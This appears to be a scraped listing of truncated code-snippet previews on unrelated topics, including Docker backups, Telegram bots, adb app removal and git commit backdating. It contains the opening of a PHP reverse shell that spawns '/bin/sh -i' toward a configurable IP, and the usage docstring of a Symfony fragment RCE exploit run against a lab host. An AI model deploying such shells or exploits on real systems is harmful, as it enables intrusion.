This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | CURRENT_DATE=$(date +%Y%m%d) | |
| VOLUME="telegram_reforward_postgres_data" | |
| docker run --rm -v $VOLUME:/data alpine tar czf - -C /data . > "backup_$CURRENT_DATE.tar.gz" | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import logging | |
| import os | |
| import dotenv | |
| import sqlite3 | |
| from datetime import datetime | |
| from telegram import ForceReply, Update | |
| from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters | |
| dotenv.load_dotenv() | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | """ | |
| based on: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/symphony | |
| Usage example: | |
| $ python fragment_rce.py http://********.htb ****************************** id | |
| ``` | |
| Success | |
| uid=33(www-data) gid=33(www-data) groups=33(www-data) | |
| ``` | |
| """ | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | #!/bin/bash | |
| # Prompt for uninstallation of firefox-esr | |
| read -p "Uninstall firefox-esr firstly [Y/n]: " uninstall_response | |
| uninstall_response="${uninstall_response:-Y}" | |
| if [[ $uninstall_response == "Y" || $uninstall_response == "y" ]]; then | |
| sudo apt remove firefox-esr | |
| rm ~/.local/share/applications/firefox-esr.desktop | |
| fi | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import requests | |
| import argparse | |
| import os | |
| import json | |
| def send_message_with_button_and_photo( | |
| chat_id, html_file, button_text, button_url, photo_path=None | |
| ): | |
| bot_token = os.environ.get("BOT_TOKEN") | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | # change <commit_hash> to full hash of selected commit and <branch_name> to active branch | |
| git filter-branch --env-filter \ | |
| 'if [ $GIT_COMMIT = <commit_hash> ]; then | |
| export GIT_AUTHOR_DATE="1970-01-02T12:00:00" | |
| export GIT_COMMITTER_DATE="1970-01-01T12:00:00" | |
| fi' <branch_name> | |
| # git push -f | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | import paramiko | |
| import time | |
| import argparse | |
| import sys | |
| import logging | |
| import requests | |
| logger = logging.getLogger(__name__) | |
| logger.setLevel(logging.DEBUG) | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | <?php | |
| $ip = '127.0.0.1'; // CHANGE THIS | |
| $port = 1234; // CHANGE THIS | |
| set_time_limit (0); | |
| $VERSION = "1.0"; | |
| $chunk_size = 1400; | |
| $write_a = null; | |
| $error_a = null; | |
| $shell = 'uname -a; w; id; /bin/sh -i'; | 
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | adb shell pm uninstall -k --user 0 com.android.browser #Mi Browser | |
| adb shell pm uninstall -k --user 0 com.android.calendar #Calendario | |
| adb shell pm uninstall -k --user 0 com.android.deskclock #Reloj | |
| adb shell pm uninstall -k --user 0 com.android.mms #Mensajes | |
| adb shell pm uninstall -k --user 0 com.facebook.appmanager #Facebook App Manager | |
| adb shell pm uninstall -k --user 0 com.facebook.services #Facebook Services | |
| adb shell pm uninstall -k --user 0 com.facebook.system #Facebook App Installer | |
| adb shell pm uninstall -k --user 0 com.google.android.apps.docs #Google Drive | |
| adb shell pm uninstall -k --user 0 com.google.android.apps.maps #Google Maps | |
| adb shell pm uninstall -k --user 0 com.google.android.apps.photos #Google Photos | 
